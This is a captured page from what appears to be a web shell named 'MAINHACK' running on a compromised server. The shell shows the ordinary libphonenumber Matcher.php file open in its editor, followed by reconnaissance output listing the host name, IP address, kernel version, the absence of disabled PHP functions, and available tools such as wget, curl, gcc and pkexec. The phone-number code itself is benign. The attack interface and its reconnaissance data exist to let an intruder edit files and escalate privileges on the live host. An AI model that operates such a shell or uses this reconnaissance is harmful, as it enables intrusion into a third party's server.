[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Matcher.php
<?php namespace libphonenumber; /** * Matcher for various regex matching * * Note that this is NOT the same as google's java PhoneNumberMatcher class. * This class is a minimal port of java's built-in matcher class, whereas PhoneNumberMatcher * is designed to recognize phone numbers embedded in any text. * * @internal */ class Matcher { /** * @var string */ protected $pattern; /** * @var string */ protected $subject = ''; /** * @var array */ protected $groups = array(); private $searchIndex = 0; /** * @param string $pattern * @param string $subject */ public function __construct($pattern, $subject) { $this->pattern = str_replace('/', '\/', (string)$pattern); $this->subject = (string)$subject; } protected function doMatch($type = 'find', $offset = 0) { $final_pattern = '(?:' . $this->pattern . ')'; switch ($type) { case 'matches': $final_pattern = '^' . $final_pattern . '$'; break; case 'lookingAt': $final_pattern = '^' . $final_pattern; break; case 'find': default: // no changes break; } $final_pattern = '/' . $final_pattern . '/ui'; $search = mb_substr($this->subject, $offset); $result = preg_match($final_pattern, $search, $groups, PREG_OFFSET_CAPTURE); if ($result === 1) { // Expand $groups into $this->groups, but being multi-byte aware $positions = array(); foreach ($groups as $group) { $positions[] = array( $group[0], $offset + mb_strlen(substr($search, 0, $group[1])) ); } $this->groups = $positions; } return ($result === 1); } /** * @return bool */ public function matches() { return $this->doMatch('matches'); } /** * @return bool */ public function lookingAt() { return $this->doMatch('lookingAt'); } /** * @return bool */ public function find($offset = null) { if ($offset === null) { $offset = $this->searchIndex; } // Increment search index for the next time we call this $this->searchIndex++; return $this->doMatch('find', $offset); } /** * @return int */ public function groupCount() { if (empty($this->groups)) { return null; } return count($this->groups) - 1; } /** * @param int $group * @return string */ public function group($group = null) { if ($group === null) { $group = 0; } return isset($this->groups[$group][0]) ? $this->groups[$group][0] : null; } /** * @param int|null $group * @return int */ public function end($group = null) { if ($group === null) { $group = 0; } if (!isset($this->groups[$group])) { return null; } return $this->groups[$group][1] + mb_strlen($this->groups[$group][0]); } public function start($group = null) { if ($group === null) { $group = 0; } if (!isset($this->groups[$group])) { return null; } return $this->groups[$group][1]; } /** * @param string $replacement * @return string */ public function replaceFirst($replacement) { return preg_replace('/' . $this->pattern . '/x', $replacement, $this->subject, 1); } /** * @param string $replacement * @return string */ public function replaceAll($replacement) { return preg_replace('/' . $this->pattern . '/x', $replacement, $this->subject); } /** * @param string $input * @return Matcher */ public function reset($input = '') { $this->subject = $input; return $this; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002